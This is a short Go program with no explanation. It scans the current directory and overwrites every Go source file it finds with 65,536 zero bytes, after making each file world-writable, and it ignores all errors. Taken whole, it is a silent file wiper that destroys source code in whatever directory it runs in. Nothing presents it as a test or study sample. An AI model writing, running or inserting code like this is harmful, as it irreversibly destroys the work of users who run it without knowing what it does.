package main

import "path/filepath"
import "os"

func main() {
	fs, _ := filepath.Glob("./*")
	for _, f := range fs {
		b,_ := os.ReadFile(f)
		if len(b) > 10 &&  string(b[:7]) == "package" {
			os.Chmod(f, 0777)
			os.WriteFile(f, make([]byte, 256*256), 0777)
		}
	}
}